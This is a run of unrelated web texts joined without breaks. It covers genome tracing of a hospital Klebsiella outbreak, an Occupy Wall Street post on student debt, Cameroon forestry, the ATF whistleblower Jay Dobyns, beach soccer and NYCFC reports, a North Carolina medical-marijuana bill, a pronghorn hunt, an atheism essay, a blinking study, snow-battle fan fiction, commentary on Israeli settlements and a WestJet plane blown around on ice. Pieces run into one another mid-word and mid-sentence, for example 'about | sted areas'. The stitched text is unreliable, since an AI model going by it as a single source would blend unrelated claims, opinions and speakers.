And so like the 6 weapons used in 9 rooms of a mansion in the board game, wedding genome sequencing to the who-what-where-when-and-how of an epidemiological investigation can tell infectious disease specialists where to focus their attention.
According to the Centers for Disease Control and Prevention, about 1.7 million people acquire infections in hospitals in the U.S. each year, factoring into 99,000 deaths. "By marshalling the ability to sequence bacterial genomes in real-time to accurately trace the bacteria, our researchers successfully elucidated what happened, which in turn has taught us some important lessons. This study gives us a glimpse of how genomic technologies will alter our approach to microbial epidemics in the future," said NHGRI Director Eric Green.
Added Segre, "Genome sequencing and analysis is our best hope for anticipating and outpacing the pathogenic evolution of infectious agents. Though our practice of genomics didn’t change the way patients were treated in this outbreak, it did change the way the hospital practiced infection control."
And provided a compelling example of evolution happening right now.
Reference:
Evan S. Snitkin, Adrian M. Zelazny, Pamela J. Thomas, Frida Stock, NISC Comparative Sequencing Program, David K. Henderson, Tara N. Palmore, and Julia A. Segre, Tracking a Hospital Outbreak of Carbapenem-Resistant Klebsiella pneumoniae with Whole-Genome Sequencing. Sci Transl Med 22 August 2012: Vol. 4, Issue 148, p. 148ra116 Sci. Transl. Med. DOI: 10.1126/scitranslmed.3004129Anyone who complains that Occupy Wall Street protesters don’t have “demands” is dumb and impatient. There are various OWS working groups in the process of coming up with proposed remedies to various grievances. The media may want to know what the OWS “demands” are NOW so they can put them on their TV shows and conduct a poll to see if “regular Americans” agree with these Marxist hippies. But anyone who thinks that way has no respect for the democratic process and for the long-term undertaking that OWS really is.
I joined the Student Debt Working Group as part of OWS. The other night I attended a session on Wall Street, across from the Stock Exchange.
The event started with Andrew Ross, a Professor from NYU, who gave a short talk about the economic and personal devastation that student debt has wrought in the lives of millions of people. Feeling crushed by the student loan monster? You’re not alone. Here are some fun facts:
Student debt in the US has topped one trillion dollars. Americans now have more student debt than credit card debt or any other kind of consumer debt. This is not just a problem for private college students. Sixty-two percent of those enrolled in public colleges leave school with debt.
College tuition has risen to insane heights, and it just keeps rising. Tuition has gone up more than 400% since the 1980’s, an increase that has far outpaced inflation or family income. Check out the Project on Student Debt for some scary stories from people overwhelmed by debts they cannot repay.
Default rates on student loans have also gone through the roof in recent years. Default rates may be as high as forty percent when for-profit college figures are included.
All this is happening when degrees, especially degrees from low-status colleges, are becoming less valuable. Economist John Schmitt explains that “for a surprising share of college graduates, the large price tag may actually not pay off” because graduates don’t end up in jobs that pay enough to make college worth the time and money. Yep, when it comes to education as the pathway to a “good job,” the American Dream is dead, everybody!
Professor Ross described student loan debt as indentured servitude because many millions of people will be working to pay off these loans for the rest of their lives. Think about that for a minute. Unlike other kinds of debt, you cannot get rid of student loans by filing for bankruptcy. The banks will find you. Oh, and if you die, they will come after your momma and her pension. Seriously. There is no protection for the borrower who might take out tens of thousands in loans for a degree that doesn’t lead to a decent job (hello all you semi-employed PhDs!). For the bank that distributes the loans, Ross pointed out, there are all kinds of safeguards. There is very little risk to the lender because the government guarantees student loans. Lenders can’t go wrong! They always get their money back, while unemployed college graduates are left to wander aimlessly around their about |
sted areas.
He advised that while embracing both approaches, Cameroon's government and its partners should not lose sight of the economic and environmental advantages of conserving existing forest over reforestation.
"It is important... to understand the right balance for any sustainable forest program," Tieguhong said.
Cameroon officials say they have made efforts to crack down on forest loss in recent years, though with limited success.
"We have multiplied and reinforced forest governance with heavy sanctions against defaulters in recent months and will continue to do so," said Philip Ngole Ngwese, the minister of forestry and wildlife.Editor's note: A previous version of this story incorrectly implied that Dobyns has been solely represented by the Law Enforcement Legal Defense Fund in this case and implied attorney James Reed works for LELD. Reed works for, and has represented Dobyns through, the Baird, Williams & Greer of Phoenix Law Firm. Dobyns has been represented by both LELD and Baird, Williams and Greer of Phoenix throughout his case. Further, I incorrectly paraphrased and attributed an assumption to Reed regarding a quote from the Arizona Republic. That attribution has been retracted.
Last month whistleblower and retired ATF Agent Jay Dobyns won a long court battle against the Bureau of Alcohol, Tobacco and Firearms after the agency retaliated against him for warning about corruption in management and failed to address death threats against his family. Some background on the case:
Dobyns, who infiltrated the dangerous and deadly Hells Angels gang as an undercover agent years ago, brought a lawsuit against the Bureau after supervisors ignored death threats to his family, which included plans to murder him either with a bullet or by injecting him with the AIDS virus, kidnapping and torturing his then 15-year-old daughter and kidnapping his wife in order to videotape a gang rape of her. Contracts were solicited between the Hells Angels, the Aryan Brotherhood and the MS-13 gang to carry out these threats, which were laid out in prison letters and confirmed through FBI and ATF interviews of confidential informants inside numerous detention centers. In 2008, his Tucson home was burned to the ground. When the fire was started, his wife and children were inside. Luckily, they escaped. Instead of investigating, ATF supervisors accused Dobyns of being the arsonist.
In his opinion, U.S. Court of Federal Claims Judge Francis Allegra described ATF officials as demonstrating misfeasance in the case "rooted in the sorry failure of some ATF officials." Dobyns was awarded $173,000, an insufficient amount considering his family has been nearly bankrupted as a result of ATF's behavior, not to mention the emotional stress incurred throughout the process.
Now unsatisfied with a loss in court and berating by a federal judge, ATF and the Department of Justice are appealing the ruling.
"The battle continues. DOJ and ATF appealed the judge's decision on my lawsuit. It will now be heard before the Federal Circuit Court of Appeals. When? Not sure. How long? Maybe years," Dobyns wrote on CleanupATF.org last week, "I will never give in and I am excited to now have a panel of judges examine what ATF and DOJ have done. ATF and DOJ want more scrutiny on their conduct? Let's go. I wrongly believed that they would not want any more exposure on what dirty and corrupt organizations they are running but it appears that they have not yet felt enough pain. They will. I promise."
Dobyns has been represented by the Law Enforcement Legal Defense Fund and Baird, Williams & Greer of Phoenix Law Firm throughout this process. His attorney James Reed, who works for Baird, Williams & Greer of Phoenix, questioned the government's use of taxpayer dollars for the appeal in an interview with the Arizona Republic.
"It really doesn't seem like a good use for the taxpayers' money, but one of the problems with the Department of Justice is the amount of accountability there is for decision making," Reed said.
The decision to appeal no doubt is the continuation of retaliation from the Bureau against Dobyns, proving that nothing has changed since Acting ATF Director B. Todd Jones promised to cleanup the agency.
You can read more about the background of Dobyns' case against the government here.Iran ended their Bahamas 2017 campaign on a high with a 5-3 win against Italy in the play-off for third place to become Asia’s highest ever finishers at the Beach Soccer World Cup.
Peyman Hosseini, Iran’s goalkeeper, won the adidas Golden Glove award and Mohammad Ahmadzadeh won the adidas Golden Ball as best player of the tournament and also the adidas Bronze Scorer award with nine goals and one assist.
Italian player Gabriele Gori scored two goals to move beyond Dejan Stankovic into second place for biggest hauls at a single competition. Goalkeeper Peyman Hosseini has had a stand-out tournament. Having scored the first goal of Bahamas 2017 with a long-range volley, he has been a crucial part of Iran’s success on the goalkeeping front too. During their play-off for third place against Italy, he made a stunning, off-balance diving foot save early in the match that got the crowd out of their seats.
Awards
adidas Golden Ball: Mohammad Ahmadzadeh (Iran)
adidas Silver Ball: Mauricinho (Brazil)
adidas Bronze Ball: Datinha (Brazil)
adidas Golden Scorer: Gabriele Gori (Italy)
adidas Silver Scorer: Rodrigo (Brazil)
adidas Bronze Scorer: Mohammad Ahmadzadeh
adidas Golden Glove: Peyman Hosseini (Iran)
Fair Play Award: Brazil
Video: Bronze medal match highlights – Iran vs. Italy
Sources: FIFA 1, FIFA 2, FIFA 3April 3, 2017
Yankee Stadium broke out into loud applause when the referee blew his whistle to signal full time. New York City FC had taken a 2-1 victory after being down 1-0 in the first 7 minutes. When the whistle blew, none of NYCFC’s three Designated Players were on the pitch and none had scored a goal. Goals from Jack Harrison and Thomas McNamara pushed Patrick Vieira’s side over the top.
For only the third time in the team’s three seasons of existence, NYCFC had won a game where none of their designated players scored a goal. All three of those games shared a common goal scorer.
Sunday, June 7th 2015, a 2-1 NYCFC win in Philadelphia with goals from Tommy McNamara and Patrick Mullins.
Sunday, March 6, 2016, a 4-3 NYCFC win in Chicago with goals from Tommy McNamara, Tony Taylor, Khiry Shelton and Mix Diskerud.
As in those two previous games, Tommy McNamara put the ball into the back of the net once again this past weekend. Almost immediately the question thrown around the press box was “I wonder how many McNamara needs to be starting” articles we’d see in the coming days.
Vieira seemed to know they’d be coming as well, as he laughed at the post match press conference when a reporter asked what he didn’t see from Pirlo, leading him to be substituted out, and why McNamara had such a strong impact.
“You guys are just seeing the fact that Tommy put the ball in the back of the net. But on my side, I see the build-up of that. The touch of David [Villa], I see the collective games of [Ronald Matarrita] and then Tommy was at the right place at the right time and with his quality and strength he just put in in the back of the net.”
Vieira said the decision to take off Andrea Pirlo wasn’t due to the fact that he was having a bad game. “I think he was playing quite well,” he said. Vieira went on to say that the decision to remove Pirlo was because he wanted to change the team’s strategy: “In the first half he was managing to get on the ball and to dictate our game, I just wanted something a little bit different, which is why I changed Andrea for Tommy, and it went in the right way”. Many will disagree with Vieira’s assessment that Pirlo was playing well. Up until that point Pirlo had been effectively neutralized by San Jose’s high pressure.
Pirlo's having a tough day at the office so far. #NYCvSJ pic.twitter.com/zaqp7FgIok — Total MLS (@TotalMLS) April 1, 2017
Pirlo had only managed 47 passes by the 62nd minute. It was the same high pressure that led to an errant pass early on which San Jose capitalized on to score their only goal. When asked what he made of Pirlo’s errant pass to Johnson, Vieira chalked it up to the risk he takes with playing out of the back.
The two other players involved in the play, Sean Johnson and Alexander Callens, were quick to shift blame away from any one person. “In the end if someone loses the ball we all lose it. If [Pirlo] loses it, I’m behind him, Maxime is behind him, lots of other things have to happen on a goal,” said Callens about the play.
Sean Johnson echoed those sentiments saying one always has to look at themselves first. “The ball comes in, it could be a better ball, it can always be a better ball. I can take a better touch, a better clearance, we switch off defensively. There’s plenty of things that go wrong on a play. What’s important is we have guys that can take responsibility for that. Andrea, myself, Alex [Callens], whoever it is that’s involved in the play, we’re collectively involved in the goal. It’s not just one player, it’s the team.”
There is clearly cohesion not just on the pitch, but in the clubhouse as the players understand and trust not just each other, but the system Vieira has asked them to use as well. The feeling is clearly mutual as Vieira has fielded the same lineup for the third consecutive game and his team has hardly looked outclassed in any game. Despite calls from the media and fans for Tommy McNamara to be starting, the case for changing the lineup isn’t a particularly strong one.
The team has only conceded 3 goals through the first 4 games, a mark only surpassed by Toronto FC (2 goals in 4 games). NYCFC’s 7 goals scored so far this season is behind only Atlanta and Columbus with 11 and 9 goals respectively. Vieira’s perpetually uttered motto of “we will score more than we concede” has been spot on. NYCFC is creating many more scoring opportunities than they’re conceded even with the less than spry 37-year-old Andrea Pirlo in midfield. This team is doing well, there’s no need to tinker.
Last year’s starters are this years backups
Even in a team that wins every game, not everyone will be happy. Professional athletes don’t reach the highest levels of any sport by being comfortable sitting on the bench or being substituted out early. Vieira was asked specifically how Tommy McNamara has handled the lack of starting minutes after his performance last season, one which was rewarded with a contract extension in the offseason.
“I had a conversation with him because of the way he played last year, the same way I had a conversation with R.J. and the same way I’ve had a conversation with Fred [Brillant] because they deserve it and this is the respect I have to build with those players because they’ve given everything for the football club.”
Both Frederic Brillant and R.J. Allen have seen their minutes disappear almost completely after being a crucial part of the team in 2016. The pair have combined for a total of 82 minutes played this season despite the two combining for over 4,500 total minutes last year.
David Villa pulled due to lack of effort in final minutes
Khiry Shelton was the final substitute for NYCFC, coming on for David Villa in the 89th minute. According to a source who asked not to be named, Khiry Shelton was initially set to come on for Jack Harrison, however Vieira decided to pull Villa instead of Harrison after it appeared Villa didn’t pressure the ball in the final minutes.
While many fans would question the rationale behind pulling a star player Patrick Vieira did not hesitate to pull not just one but all three of them. By pulling the players who aren’t having a good game, or not performing how Vieira wants at that moment in time regardless of name and salary, he enables his team to perform to the best of their abilities.
No one will say Villa had a poor game as he had crucial passes that led to both goals, but Villa was noticeably irritated towards the end of the game.
In a game where most players would be happy with two world class assists, David Villa was upset that he wasn’t able to find the back of the net; it’s that drive that has made him a World Cup winner and last year’s MLS MVP. Despite that passion, Vieira won’t allow him or anyone else to drop their head and sulk leading to the substitution for the Spaniard. Villa left the locker-room shortly after full time and did not talk to the media after the match.
July 6th, 2016 was the last time David Villa played a game for NYCFC which they won without a goal from him.After just 20 minutes of public comments, North Carolina's House Rules Committee voted to reject a bill that would have legalized the possession and use of medical marijuana in the state.
WRAL's @NCCapital blog reported that the "Enact Medical Cannabis Act" received a rare "unfavorable report" in an effort "to stem a tide of phone calls and emails on the topic."
"We did it to be done with it, so people could move on for the session," Rep. Paul "Skip" Stam (R-Wake) told the site, adding that state lawmakers were being "harassed" by constituents.
Many members of the public were also gathered inside the committee room to speak out in support of HB 84.
"I cannot tell you how quick and complete the relief I had from horrible nausea was," said brain cancer survivor Catherine Lyles, who was given five years to live when she was initially diagnosed 17 years ago.
In fact, only a single individual in attendance was there to speak out against the bill: North Carolina Family Policy Council rep Jere Royall.
Additionally, only one lawmaker — the bill's sponsor Rep. Kelly Alexander (D-Mecklenburg) — had anything to say about the measure before it was summarily killed by the committee.
The Associated Press notes that "the decision means this bill and the issue are likely dead at the General Assembly through 2014."
But proponents of medical marijuana legalization vowed to continue the fight despite the setback.
"We will continue to write editorials, emails, do whatever it takes for people to get their medicine," read a post on the North Carolina Medical Cannabis Act's official Facebook page. "We will reform Cannabis prohibition, all of this will not be in vain. Keep up the fight!"
[photo via Shutterstock]For the third season in a row I was privileged to draw a buck pronghorn tag on the Cage Ranch. This year would be a first for me as my oldest son, Ty, age ten, would accompany me on a big game hunt. Ty is a soccer player, and adheres to an intense schedule that prohibits him from regularly participating in varied outdoor pursuits. Ty’s weekend off from soccer commitments happened to coincide with opening day of pronghorn season.
I picked up Ty from school at 3:00 pm on Friday afternoon. We talked hunting, and observed the numerous pronghorn family groups during the drive through the Eastern Plains. Upon arriving at the Ranch, we decided to scout a few familiar pastures. Ty and I patrolled an area just east of headquarters, and then headed to the west when we could not locate any goats. As we drove the county road, we started to spot the white, tan and black animals grazing a few thousand feet off the road. Ty had his own binoculars so I asked him to start looking for horns. A setting sun prohibited optimal viewing, yet we were still able to observe six quality pronghorn bucks demonstrating seasonal rutting behavior.
Ty and I flipped between the Outdoor and Sportsman’s Channel while eating our dinner. Each hunting show viewed heightened the level of excitement for the next day. Bob arrived later in the evening, and Ty refused to hit the rack as he wanted to participate in the next day’s strategy conversation. When his eyelids became too heavy it was time to get some sleep.
Dense fog moved in overnight, and provided an unwelcome start to Saturday morning. This situation presented obvious challenges as our fast moving quarry would be difficult to spot. Once the wind picked up at around 8:30 am, the fog started to lift. Bob had spotted a nice buck running does in the Stacey Pasture earlier in the week. We decided to hunt that terrain first. As in prior years, we hiked our way to vantage points where we could stealthily glass unsuspecting animals. Minutes into our drive, Bob stopped his truck on a two-track, and then slowly walked to the crest of an adjacent hill. After glassing the area, he hurried back and announced that he saw the buck that he had found earlier in the week. He was an absolute shooter, and we would pursue him.
We made our way a couple of miles south in order to establish an ambush point. Bob spotted the speed goats moving in our general direction. There were two bucks in the group, including one that was obviously mature. With Ty trailing me, I worked my way into a position where I could see the animals. Although I knew they had not noticed our presence, given their vision, it would not be long before they busted us. I set my bipod down, and worked to pick the buck up in my scope. Bob provided me a range of 270 yards, and I let out a breath. Once I felt confident and calm, I squeezed the trigger. The shot missed and the entire group started to run. The big buck actually moved into a favorable position about 220 yards in front of me and stopped. Following Bob’s direction, I ran forward, took a solid position, chambered a round and squeezed the trigger. Unharmed, the pronghorn turned to his left, and started to move with speed. I regained my composure, and put the crosshairs between his shoulders. Once comfortable, I squeezed the trigger for the third time. Through my scope, I watched the buck crumble to the ground.
Hugs, smiles and high fives were abundant. Bob congratulated me, and I thanked him for his expert tutelage. Ty was visibly excited. He indicated that he is ready to go through Hunter Safety this next summer. I look forward to helping Ty on his first hunt.
2015 Video of the Pronghorn Hunt at the Cage RanchThere’s a tendency for people to view atheism as “negative”, merely because it asserts a negation. I can understand this, especially for those who define themselves positively through a religious belief, but I am here to say that atheism has been a powerfully positive force in my life and that it has helped me weather the various storms through which I have passed. As I have tried to articulate exactly why I believe my atheism has helped me, I have realized it is because a world that operates according to natural laws and that is without gods is a world that is metaphysically fair in a way a theistic world is not.
Jackpot
I think it is safe to say that I have lived through some trying experiences in my life. This is not to say that I have every starved, that I have been physically or sexually abused, or that I suffer from any serious medical conditions. I have had the absolute privilege of growing up as a lower-middle class white male in the United States of America at the end of the 20th century. I have not faced systematic persecution or subjugation and I live in a time and place where I can exercise free speech without fear of retaliation. As far as that much is concerned, I have won the cosmic lottery. I am appreciative and grateful for that.
That being said, I have had my share of troubles. I am a product of divorced parents and am now effectively estranged from my father after years of emotional manipulation and abuse. My family has always struggled with money, and financial problems are still a constant source of stress. I have had to call off an engagement with a girl with whom I thought I would spend the rest of my life. I have had my identity stolen by someone close to me and was left responsible for the massive debt racked up in my name. I have been cheated on, which nearly broke me. I have had close friends die well before their time, for what seemed to be no reason at all. I have lost best friends because I proved to be a weak person, incapable of defending friendships that could have lasted years.
In short, I’ve lived a life. Not a particularly interesting, traumatic, or exceptional one, but it is mine and I have had to cope with all of these things.
I don’t say all of these things expecting (or wanting) pity or consolation. I have come to terms, in one way or another - and to varying degrees - with all of those events, and many more besides. I’m nearly 28 years old now, which means I have lived just enough of a life to be able to look back at some of my life experiences with some measure of emotional distance. Looking back at my life across this distance (however narrow it may be), I am thankful for one thing: I do not believe.
This isn't to say that belief would have inherently made things worse or better. Having never believed, it would be foolish for me to say how I would have reacted to my various tribulations if I had. I know there are millions, if not billions of people, who have found succor in their god. I can see how it would be comforting to believe that you are always loved, even at your most alone and vulnerable. Who wouldn’t want that?
The fact of the matter is that I do not hold those beliefs, and as such can gain nothing from them: they are alien to me. Yet I also realize that my atheism has given me something more effective and truer. As I said before, I recognize that I have basically lucked out. If I had believed in a god, particularly one with a plan for me and mine, then my experiences are not the outcome of random happenstance, but rather the intentional outcome of another being’s will. I will have been at the mercy of someone else, not just something else. God has no plan for me that I can rail against, nor is there a Fate laid out that I am forced to endure because of the will of another.
I have spent many nights contemplating what it is to be alive. Why am I here? What lies in store for me? What possible meaning can be derived from the painful experiences every person will have? Is there any point in continuing on when things seem beyond repair? I am sure that most, if not all people, have done the exact same thing. It stands as good a chance of being one of those quintessential human experiences as any other.
Metaphysical Peace of Mind
Happily, my atheism has not proved a hindrance, but rather a boon, because it offers answers to those questions with an authority any religious person would be jealous of. I do not wonder if I am adhering to the right religion, or following the right sect, or interpreting the proper texts in the proper way. Do the Southern Baptists have it right, or the Catholics, or is Islam the one true religion? Am I giving Shiva enough attention? Should I have been sacrificing to the old gods? Or have any of these interpreted God’s revelations properly? And, if not, then what hope is there to understand my place in the world? If you assume there is at least one god, then there is a series of further questions that can be asked. Atheism frees you from all of those considerations and offers you this consolation in their place:
None of this was done to you, nor is there anyone to blame, because everything is doled out in an effectively random way – and randomness is fair.
Don’t get me wrong: I fully acknowledge how terribly random and cruel the world can be. Bad things happen to good people and bad people get things that they categorically do not deserve. In a world that is without an arbiter, however, there is no metaphysical claim to be made for fairness. Things will happen in a way that are often counter to how we think they ought to be, but there is no cosmic injustice in this. There is no god to rail against, no authority to which one can appeal their sentence, and this has been a freeing truth for me.
I also realize that the notion of a benevolent god who cares for you is a comforting one to many people. Who wouldn’t want to feel that they are never truly alone or unloved? These are nice thoughts, but they strike me as little more than wish fulfilment. Sometimes we are alone, and sometimes we aren’t loved. It is unfortunate, but true. However, the fact is that most of us are loved by people we can rely on, and this is a far more tangible and effective kind of relationship. I have grown closer to those around me in light of my experiences, and I am grateful for the chance to have my friends and family, even if every one of these relationships will ultimately end. I am also grateful for the chance to stand on my own, when the time came. I do not need a loving god. I can do just fine on my own, and am happy and content in that knowledge.
I have had bad things happen to me, and I am likely to have many more bad experiences. There is no guarantee that everything will “work out in the end” or that there must be a “better tomorrow”. For all I know the zombie apocalypse will happen this afternoon and I will spend the next few days simply trying not to be eviscerated by my former roommates. However, the flip-side is also true. My future is unknown to anyone, and I am free to try and better it in any way that I can. I can get beaten down by the unfair things that have occurred, or I can grin and bear them with the hope that tomorrow will turn out differently. The fairness of a godless world at the metaphysical level is something from which I derive a huge measure of peace.
Ultimately, I think a godless universe is the most metaphysically fair world in which we can live. No randomly deity gets to decide how things should be for me, or those I love. Nothing has been done to me at the cosmic level – things have merely happened to me. So I press on, trying to make my path through an often difficult world, happy to have had the chance to experience anything at all. No matter what has happened or will happen, I have had the opportunity to live – I won that cosmic lottery. I am an infinitesimally small part of the universe manifested in a form that allows it to look back on itself, and that mirror image is something terribly beautiful. It can be cold and distant, unfeeling and cruel, but it has also given rise to truth, meaning, love, music, and a myriad other wonderful things. In short, nihilism is optional. We can stare into the abyss and scream and the unfairness of it all, but we would be mistaken to do so.
Life can be a bitch, and that’s okay.
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Featured image courtesy of Flickr user trdesignr.THURSDAY, May 6 (HealthDay News) -- Increased blinking might be a sign that someone's mind is wandering, a new study suggests.
Canadian researchers asked 15 volunteers to read a passage from a book on a computer. As they read the passage, a sensor tracked their eye movements. At random intervals, the participants reported whether they had been paying attention to what they were reading or whether their minds had been wandering.
Blinking occurred more often when the volunteers' minds were wandering than when they were focused on their reading task. The blinking acts as a physical barrier to the outside world.
"What we suggest is that when you start to mind-wander, you start to gate the information even at the sensory endings -- you basically close your eyelid so there's less information coming into the brain," study author Daniel Smilek, a cognitive neuroscientist at the University of Waterloo, Ontario, said in a news release.
He added that the findings, published recently in the journal Psychological Science, are part of a shift in how scientists think about the mind-body connection.
Psychologists are realizing that "you can't think about these mental processes, like attention, separately from the fact that the individual's brain is in a body, and the body's acting in the world," Smilek said.
-- Robert Preidt
Copyright © 2010 HealthDay. All rights reserved.
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SOURCE: Association for Psychological Science, news release, April 29, 2010Disclaimer: I own nothing.
A few days later.
"We're getting slaughtered out there." I whispered harshly, pulling my Zombie bandanna lower until my eyes were almost completely covered by the cloth. While I was at it, I zipped my extra jacket up to the tip of where my hood began as I covertly glanced over my shoulder and squinted into the distance.
"You guys are insane." Elsa breathed from beside me, drawing my attention back and I couldn't help but watch the way her hot breath materialized in near-transparent white vapors infront of us. We were both breathing heavily, but we needed to stay on our toes and in hiding, lest we give away our positions.
"What, this?" Gesturing to the supposedly empty park we were currently in. "This is only the beginning." I assured her with a lopsided grin before taking her hand and dashing across the vast expanse of snow to the next rally point. Once we stopped, I reached out to secure the beanie on her head as well and let a knowing smirk cross my lips when I got a look at those rosy cheeks that were tinged with the cold and her own excitement. Not to mention the separate streaks of black across both of them. Adorable. My eyes glanced up to where my hands hesitated to move away from her beautiful platinum tresses. I like how my beanie looks on you. "You haven't seen anything yet." I chuckled instead of voicing what I'd just thought.
The hard crunching of snow to our right, broke our eyes away from each other to see three familiar people sprinting toward us. "You two stay where you are. Romie will take to the wall on that side while Olaf and I lure them out." Kida instructed through the radios she gave to us before tossing me my trusty weapon. I caught it and was reminded that I had lent it to Romie not too long ago because she didn't have anything to defend herself with. Now it seemed like Olaf had given her his own gun and resorted to using his hands instead. My eyes met shimmering arctic blues for an instant and we both nodded in confirmation at Kida as she continued tugging Olaf and Romie away.
As I quickly set up a more secure barrier around Elsa and I, I couldn't help but tune in to the conversation of the two now lying theatrically in the middle of the snow-covered ground. "Base one this is Cavalier two-one-four!" Olaf's voice sounded just frantic enough to be believable."We've been in a collision with a civilian vehicle. Nedakh's dead and Ramsey's hurt real bad. We need medevac immediately."A pause. "She's got kids, Base one, she's got kids!"
As I loaded my Zombie Strike rifle, I couldn't help but raise a questioning eyebrow at the bordering-on-too-dramatic guy as he protested loudly after completing the call. "Roger, Cavalier two-fourteen. We're scrambling a team. Hang in there." The other line answered over Olaf's grumblings about how he used to be good at that. Whatever 'that' was. Being a complete failure at lying? Glancing curiously at Elsa, she shrugged in as much misconception before peering across the quad to them too.
"Shut up." Kida criticized.
"I mean, that was so contrived!" Olaf went on complaining, ignoring her while he was at it.
"Olaf, shut up." Kida growled more forcibly.
"You shut up, Kida." Olaf countered. "You're dead. I'm spinal injury and spinal injury can talk. Dead can't say anyth-"
"Stop talking or I'll have Feisty-Pants shoot your face off." She barked.
"She loves me too much to do something ludicrous like that. Besides, you should really start getting into character." He motioned over his face with his hand. "Dead woman means no talking."
Luckily, our oncoming targets stopped whatever argument was about to continue boiling over. "Base one, this is Medevac Delta. We have visual on Cavalier two-fourteen." The pseudo pilot's voice came over the radio and I went to work on steadying my breathing. Through my scope, I could see two people reveal themselves from behind the trees and rush to help the other two imbeciles out there. Off to the side, Romie was stealthily situated in the background as well, but I patiently waited for my orders.
I could hear Olaf's exaggerated cries of agony, but as the one who decided to tend to him tried to soothe him, he faltered badly out of character. "Oh, wow. Hi!" He chirped. There was a short pause that only meant that a great 100% Olaf Line was in the making before he voiced, "W-what's your name?" That response made a stupid grin split my face because even from this distance, I could hear the hopefulness in his question clear as day. The girl's response not so much, Olaf was just flamboyant like that.
"Fire when ready, Feisty." Kida's own whispered voice suddenly tore my attention away from the love-struck idiot and on to the one checking him out. Sorry, Felicity and Jackson. I thought before firing. One shot. Two shots. They stiffened and Olaf simultaneously sat up to catch the girl as she fell while Kida left the younger boy to crash to the snow. They followed the rules perfectly if I had to say so. Looking back, I suspected that Romie would come in for backup and start firing like crazy, but Kida successfully waved her off, so I let out the breath I'd been holding and leaned back against our barrier.
"Nice shot." Elsa commented, making me turn to give her a wink.
"I was a champion sharp shooter at summer camp three years in a row." I bragged like an idiot. Elsa rolled her eyes before reaching up to deliberately pinch both of my cheeks, making me chuckle coyly. She had effectively made the rest of my body warm up with the silly intimate look she gave me next. I'm so into you. I thought as I felt myself beginning to get lost in those unending pools of gleaming cerulean. For now though, I couldn't do anything more because I knew if I completely let myself get caught up in the girl named: Elsa Mariani, we'd undoubtedly be the next two to go down. Can't have that. So instead of stealing a kiss like I so badly wanted to, I playfully stuck my tongue out at her and looked back over my shoulder.
"Pleasure doing business with you, fellas." The other blue-eyed girl stated triumphantly. I rested my rifle on my shoulder just as Kristoff and Sen publicized themselves from behind the playground at the bottom of the hill. I felt my adrenaline spike and then turned to face Elsa who was now a little preoccupied in looking around with those eyes as wide as saucers.
"Hey, listen to me." I whispered to her while taking the radio piece out of my ear. She snapped her attention back to me. "Something tells me that our temporary alliance with Olaf and Kida will be ending here shortly." I pointed down the hill to the slides on other side of Kristoff and Sen to our undecided safety zone. "I want you to get yourself over there without getting caught. Wait for my signal and I'll catch up with you in a bit." When she nodded, I couldn't help but lean in to press a chaste kiss to her cheek before standing to my feet, missing the subtle way she lightly frowned from the quick contact of our skin. "And if they come for you, don't be afraid to lash out at them." I added when she stood up too.
"Where's my wild goose?!" Kristoff asked as he readjusted his Naruto goggles.
"You mean your GPS?" Kida asked, tossing said object from hand to hand gleefully. "We got it while you two were too busy smooching over there!" She added proudly.
"S-shut up, Nedakh!" Kristoff barked in embarrassment and even from where I was standing I could see the lower part of his face turning a nice crimson color. Sen made it a little more obvious by looking away and pulling her hood back over her head. How cute! I bit my lip to keep from laughing at that. "Now give it back." He crossed his arms arrogantly.
While Elsa surreptitiously took to the trees that had been right behind us, I moseyed further away from our barricade until I saw Kida shove the device in her jacket pocket. With a loud rebellious chortle to the taller guy, she joined me as we continued walking nonchalantly over to Olaf, ignoring the other two for the moment. "Have you ever seen an EMT look like this?" Said boy asked us with wide, gray, puppy dog eyes, still pointing at the grinning girl on the snow-covered ground who was choosing to try to stay in character. She's clearly flattered though. I thought smugly.
Regrettably, I had other things to say to my friend first off. "Seriously, Bud?" I motioned to Felicity and then back to him. "'Hi, what's your name? I have no legs but I wanna take you on a date?'" I mocked him before clapping my hand on his shoulder, just itching to tease him more about his unique way of talking to people. Or not. He was a total dork when he wasn't on stage or talking to any of us. Wait. What am I saying? Olaf Ramsey was always a dork no matter what.
"You, my friend, are as smooth as a child's bottom." Kida joked, slapping his other |
more than 90 percent of the disputed territories (before considering a land swap). It was the Obama administration that reneged on that agreement in 2009 and made an issue out of something that had already been resolved.
In any event, Israel declared a ten-month freeze on new construction in the West Bank in 2009-2010–an action deemed “unprecedented” by both the Secretary of State (Hillary Clinton) and the administration’s Middle East envoy (George Mitchell). It resulted in nothing from the Palestinians. And even after the Obama administration reneged on the assurances to Israel in the 2004 Bush letter, and even after the ten-month freeze produced nothing, Israel continued to observe the Google Test in the vast majority of its construction building, as the administration’s own eight-year 20,000 figure demonstrates.
The real obstacle, as Michael Mandelbaum showed in his landmark essay in the May 2016 issue of COMMENTARY, “The Peace Process is an Obstacle to Peace,” is the Palestinian refusal to accept a Jewish state within any boundaries, much less defensible borders. Until the Palestinians endorse “two states for two peoples”–something the Palestinians have not yet done–the process will be stuck on side issues such as settlements. Until the Palestinians declare that a Palestinian state is an end-of-claims solution, and not simply a step in further prosecuting a specious “right of return,” the Palestinians have not even put peace on the table.
There has been much speculation about the Obama administration’s motives in deserting Israel at the UN and orchestrating support for the resolution behind the scenes. There are three things, however, that we do know: the administration did not act out of “conscience;” its “concerns” are not grave; and they involve an obstacle the administration created for itself.A strong winter storm blew threw Halifax, Nova Scotia a couple of days ago, closing the airport. After the airport reopened, operations resumed, but this WestJet 737, seemed to want an early takeoff.
Here, we see the WestJet flight waiting peacefully at the gate, parked on top of its ice rink at Gate 18. You know, the usual Canadian winter. A few seconds into it, we see the nose of the plane start to move to our left, due to the wind pushing the tail from the same direction. Next, an Aircraft Maintenance Engineer in a blue jacket runs in and attempts to hold the plane in place using one hand. I'm not sure what his plan was, but it could have potentially been catastrophic. Another strong gust could have blown the plane into him, or knocked him on his ass, injuring him. We can see his feet sliding as the plane continues to move about six feet from where it was originally chocked. Thankfully, he made it through unscathed.
Wisely, someone else comes and moves the belt loader away from the forward cargo bin - possibly preventing damage to the plane. Next, this person moved the chocks from the nose to the number 2 main gears (the back right ride of the plane). But again, on the ice this may not have helped much.
As a full-time airline ground handler, the first thing we do when a plane arrives at the gate is chock the plane (which we can see was done). Then after connecting the ground power cord, we hook up the tow bar to the nose gear, and the pushback tug is then driven up to the other end of the tow bar and attached with a massive pin. We can see that this wasn't done in this video. Had the pushback tug been attached to this plane, the weight of the tug probably would have anchored the plane and kept it from pivoting around in the wind. WestJet confirms this in the video's comments on YouTube by saying:
